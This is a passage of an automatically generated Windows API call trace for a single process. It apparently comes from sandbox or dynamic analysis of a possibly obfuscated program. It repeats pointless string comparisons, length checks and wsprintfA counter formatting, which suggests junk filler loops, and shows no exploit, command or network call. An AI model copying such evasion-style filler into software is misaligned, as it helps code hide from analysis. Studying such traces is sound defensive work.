[0136.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.681] GetLastError () returned 0x0 [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] lstrlenA (lpString="just string") returned 11 [0136.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.681] GetLastError () returned 0x0 [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] lstrlenA (lpString="just string") returned 11 [0136.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.681] GetLastError () returned 0x0 [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] lstrlenA (lpString="just string") returned 11 [0136.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.681] GetLastError () returned 0x0 [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] lstrlenA (lpString="just string") returned 11 [0136.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.681] GetLastError () returned 0x0 [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] lstrlenA (lpString="just string") returned 11 [0136.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.681] GetLastError () returned 0x0 [0136.681] GetLastError () returned 0x0 [0136.681] GetCurrentProcess () returned 0xffffffff [0136.681] GetLastError () returned 0x0 [0136.681] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21CE1P") returned 6 [0136.681] SetLastError (dwErrCode=0x0) [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetLastError () returned 0x0 [0136.681] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21CE2P") returned 6 [0136.681] SetLastError (dwErrCode=0x0) [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.681] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] lstrlenA (lpString="just string") returned 11 [0136.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.682] GetLastError () returned 0x0 [0136.682] GetLastError () returned 0x0 [0136.682] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcess () returned 0xffffffff [0136.682] GetLastError () returned 0x0 [0136.682] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21CEAP") returned 6 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcess () returned 0xffffffff [0136.682] GetLastError () returned 0x0 [0136.682] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21CEBP") returned 6 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetLastError () returned 0x0 [0136.682] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21CECP") returned 6 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] lstrlenA (lpString="just string") returned 11 [0136.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.682] GetLastError () returned 0x0 [0136.682] GetLastError () returned 0x0 [0136.682] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcess () returned 0xffffffff [0136.682] GetLastError () returned 0x0 [0136.682] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21D12P") returned 6 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcess () returned 0xffffffff [0136.682] GetLastError () returned 0x0 [0136.682] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21D13P") returned 6 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetLastError () returned 0x0 [0136.682] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21D14P") returned 6 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] lstrlenA (lpString="just string") returned 11 [0136.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.682] GetLastError () returned 0x0 [0136.682] GetLastError () returned 0x0 [0136.682] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21D50P") returned 6 [0136.682] SetLastError (dwErrCode=0x0) [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] GetCurrentProcessId () returned 0x79c [0136.682] lstrlenA (lpString="just string") returned 11 [0136.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.682] GetLastError () returned 0x0 [0136.683] GetLastError () returned 0x0 [0136.683] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21D8CP") returned 6 [0136.683] SetLastError (dwErrCode=0x0) [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] lstrlenA (lpString="just string") returned 11 [0136.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.683] GetLastError () returned 0x0 [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] lstrlenA (lpString="just string") returned 11 [0136.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.683] GetLastError () returned 0x0 [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] lstrlenA (lpString="just string") returned 11 [0136.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.683] GetLastError () returned 0x0 [0136.683] GetLastError () returned 0x0 [0136.683] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21E04P") returned 6 [0136.683] SetLastError (dwErrCode=0x0) [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] lstrlenA (lpString="just string") returned 11 [0136.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.683] GetLastError () returned 0x0 [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] lstrlenA (lpString="just string") returned 11 [0136.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.683] GetLastError () returned 0x0 [0136.683] lstrlenA (lpString="just string") returned 11 [0136.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.683] GetLastError () returned 0x0 [0136.683] GetLastError () returned 0x0 [0136.683] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.683] SetLastError (dwErrCode=0x0) [0136.683] GetCurrentProcess () returned 0xffffffff [0136.683] GetLastError () returned 0x0 [0136.683] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21E8EP") returned 6 [0136.683] SetLastError (dwErrCode=0x0) [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcess () returned 0xffffffff [0136.683] GetLastError () returned 0x0 [0136.683] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21E8FP") returned 6 [0136.683] SetLastError (dwErrCode=0x0) [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetLastError () returned 0x0 [0136.683] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21E90P") returned 6 [0136.683] SetLastError (dwErrCode=0x0) [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] GetCurrentProcessId () returned 0x79c [0136.683] lstrlenA (lpString="just string") returned 11 [0136.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.684] GetLastError () returned 0x0 [0136.684] lstrlenA (lpString="just string") returned 11 [0136.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.684] GetLastError () returned 0x0 [0136.684] GetCurrentProcess () returned 0xffffffff [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21EE9P") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21EEAP") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] lstrlenA (lpString="just string") returned 11 [0136.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.684] GetLastError () returned 0x0 [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21F1CP") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] lstrlenA (lpString="just string") returned 11 [0136.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.684] GetLastError () returned 0x0 [0136.684] GetLastError () returned 0x0 [0136.684] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcess () returned 0xffffffff [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21F60P") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcess () returned 0xffffffff [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21F61P") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21F62P") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] lstrlenA (lpString="just string") returned 11 [0136.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.684] GetLastError () returned 0x0 [0136.684] GetCurrentProcess () returned 0xffffffff [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21FBBP") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.684] GetLastError () returned 0x0 [0136.684] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21FBCP") returned 6 [0136.684] SetLastError (dwErrCode=0x0) [0136.684] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] lstrlenA (lpString="just string") returned 11 [0136.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.685] GetLastError () returned 0x0 [0136.685] lstrlenA (lpString="just string") returned 11 [0136.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.685] GetLastError () returned 0x0 [0136.685] GetLastError () returned 0x0 [0136.685] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22016P") returned 6 [0136.685] SetLastError (dwErrCode=0x0) [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] lstrlenA (lpString="just string") returned 11 [0136.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.685] GetLastError () returned 0x0 [0136.685] GetLastError () returned 0x0 [0136.685] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22020P") returned 6 [0136.685] SetLastError (dwErrCode=0x0) [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] lstrlenA (lpString="just string") returned 11 [0136.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.685] GetLastError () returned 0x0 [0136.685] GetLastError () returned 0x0 [0136.685] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22034P") returned 6 [0136.685] SetLastError (dwErrCode=0x0) [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] lstrlenA (lpString="just string") returned 11 [0136.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.685] GetLastError () returned 0x0 [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] lstrlenA (lpString="just string") returned 11 [0136.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.685] GetLastError () returned 0x0 [0136.685] GetLastError () returned 0x0 [0136.685] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.685] SetLastError (dwErrCode=0x0) [0136.685] GetCurrentProcess () returned 0xffffffff [0136.685] GetLastError () returned 0x0 [0136.685] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2208CP") returned 6 [0136.685] SetLastError (dwErrCode=0x0) [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcess () returned 0xffffffff [0136.685] GetLastError () returned 0x0 [0136.685] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2208DP") returned 6 [0136.685] SetLastError (dwErrCode=0x0) [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetLastError () returned 0x0 [0136.685] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2208EP") returned 6 [0136.685] SetLastError (dwErrCode=0x0) [0136.685] GetCurrentProcessId () returned 0x79c [0136.685] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] lstrlenA (lpString="just string") returned 11 [0136.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.686] GetLastError () returned 0x0 [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] lstrlenA (lpString="just string") returned 11 [0136.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.686] GetLastError () returned 0x0 [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] lstrlenA (lpString="just string") returned 11 [0136.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.686] GetLastError () returned 0x0 [0136.686] GetLastError () returned 0x0 [0136.686] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.686] SetLastError (dwErrCode=0x0) [0136.686] GetCurrentProcess () returned 0xffffffff [0136.686] GetLastError () returned 0x0 [0136.686] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22136P") returned 6 [0136.686] SetLastError (dwErrCode=0x0) [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcess () returned 0xffffffff [0136.686] GetLastError () returned 0x0 [0136.686] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22137P") returned 6 [0136.686] SetLastError (dwErrCode=0x0) [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetLastError () returned 0x0 [0136.686] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22138P") returned 6 [0136.686] SetLastError (dwErrCode=0x0) [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] lstrlenA (lpString="just string") returned 11 [0136.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.686] GetLastError () returned 0x0 [0136.686] GetLastError () returned 0x0 [0136.686] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2216AP") returned 6 [0136.686] SetLastError (dwErrCode=0x0) [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] lstrlenA (lpString="just string") returned 11 [0136.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.686] GetLastError () returned 0x0 [0136.686] GetLastError () returned 0x0 [0136.686] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.686] SetLastError (dwErrCode=0x0) [0136.686] GetCurrentProcess () returned 0xffffffff [0136.686] GetLastError () returned 0x0 [0136.686] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2217CP") returned 6 [0136.686] SetLastError (dwErrCode=0x0) [0136.686] GetCurrentProcessId () returned 0x79c [0136.686] GetCurrentProcess () returned 0xffffffff [0136.686] GetLastError () returned 0x0 [0136.686] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2217DP") returned 6 [0136.686] SetLastError (dwErrCode=0x0) [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetLastError () returned 0x0 [0136.687] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2217EP") returned 6 [0136.687] SetLastError (dwErrCode=0x0) [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] lstrlenA (lpString="just string") returned 11 [0136.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.687] GetLastError () returned 0x0 [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] lstrlenA (lpString="just string") returned 11 [0136.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.687] GetLastError () returned 0x0 [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] lstrlenA (lpString="just string") returned 11 [0136.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.687] GetLastError () returned 0x0 [0136.687] GetLastError () returned 0x0 [0136.687] GetLastError () returned 0x0 [0136.687] GetCurrentProcess () returned 0xffffffff [0136.687] GetLastError () returned 0x0 [0136.687] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22263P") returned 6 [0136.687] SetLastError (dwErrCode=0x0) [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetLastError () returned 0x0 [0136.687] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22264P") returned 6 [0136.687] SetLastError (dwErrCode=0x0) [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] lstrlenA (lpString="just string") returned 11 [0136.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.687] GetLastError () returned 0x0 [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] lstrlenA (lpString="just string") returned 11 [0136.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.687] GetLastError () returned 0x0 [0136.687] GetLastError () returned 0x0 [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] lstrlenA (lpString="just string") returned 11 [0136.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.687] GetLastError () returned 0x0 [0136.687] GetLastError () returned 0x0 [0136.687] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.687] SetLastError (dwErrCode=0x0) [0136.687] GetCurrentProcess () returned 0xffffffff [0136.687] GetLastError () returned 0x0 [0136.687] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2232AP") returned 6 [0136.687] SetLastError (dwErrCode=0x0) [0136.687] GetCurrentProcessId () returned 0x79c [0136.687] GetCurrentProcess () returned 0xffffffff [0136.687] GetLastError () returned 0x0 [0136.687] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2232BP") returned 6 [0136.687] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetLastError () returned 0x0 [0136.688] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2232CP") returned 6 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] lstrlenA (lpString="just string") returned 11 [0136.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.688] GetLastError () returned 0x0 [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] lstrlenA (lpString="just string") returned 11 [0136.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.688] GetLastError () returned 0x0 [0136.688] GetLastError () returned 0x0 [0136.688] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcess () returned 0xffffffff [0136.688] GetLastError () returned 0x0 [0136.688] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22384P") returned 6 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcess () returned 0xffffffff [0136.688] GetLastError () returned 0x0 [0136.688] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22385P") returned 6 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetLastError () returned 0x0 [0136.688] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22386P") returned 6 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] lstrlenA (lpString="just string") returned 11 [0136.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.688] GetLastError () returned 0x0 [0136.688] lstrlenA (lpString="just string") returned 11 [0136.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.688] GetLastError () returned 0x0 [0136.688] GetLastError () returned 0x0 [0136.688] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcess () returned 0xffffffff [0136.688] GetLastError () returned 0x0 [0136.688] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="223DEP") returned 6 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcess () returned 0xffffffff [0136.688] GetLastError () returned 0x0 [0136.688] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="223DFP") returned 6 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetLastError () returned 0x0 [0136.688] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="223E0P") returned 6 [0136.688] SetLastError (dwErrCode=0x0) [0136.688] GetCurrentProcessId () returned 0x79c [0136.688] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] lstrlenA (lpString="just string") returned 11 [0136.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.689] GetLastError () returned 0x0 [0136.689] GetLastError () returned 0x0 [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] lstrlenA (lpString="just string") returned 11 [0136.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.689] GetLastError () returned 0x0 [0136.689] GetLastError () returned 0x0 [0136.689] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcess () returned 0xffffffff [0136.689] GetLastError () returned 0x0 [0136.689] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22492P") returned 6 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcess () returned 0xffffffff [0136.689] GetLastError () returned 0x0 [0136.689] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22493P") returned 6 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetLastError () returned 0x0 [0136.689] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22494P") returned 6 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] lstrlenA (lpString="just string") returned 11 [0136.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.689] GetLastError () returned 0x0 [0136.689] GetLastError () returned 0x0 [0136.689] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcess () returned 0xffffffff [0136.689] GetLastError () returned 0x0 [0136.689] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="224BAP") returned 6 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcess () returned 0xffffffff [0136.689] GetLastError () returned 0x0 [0136.689] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="224BBP") returned 6 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetLastError () returned 0x0 [0136.689] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="224BCP") returned 6 [0136.689] SetLastError (dwErrCode=0x0) [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] GetCurrentProcessId () returned 0x79c [0136.689] lstrlenA (lpString="just string") returned 11 [0136.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.689] GetLastError () returned 0x0 [0136.689] GetLastError () returned 0x0 [0136.690] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcess () returned 0xffffffff [0136.690] GetLastError () returned 0x0 [0136.690] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2250AP") returned 6 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcess () returned 0xffffffff [0136.690] GetLastError () returned 0x0 [0136.690] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2250BP") returned 6 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetLastError () returned 0x0 [0136.690] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2250CP") returned 6 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] lstrlenA (lpString="just string") returned 11 [0136.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.690] GetLastError () returned 0x0 [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] lstrlenA (lpString="just string") returned 11 [0136.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.690] GetLastError () returned 0x0 [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] lstrlenA (lpString="just string") returned 11 [0136.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.690] GetLastError () returned 0x0 [0136.690] lstrlenA (lpString="just string") returned 11 [0136.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.690] GetLastError () returned 0x0 [0136.690] GetLastError () returned 0x0 [0136.690] lstrcmpA 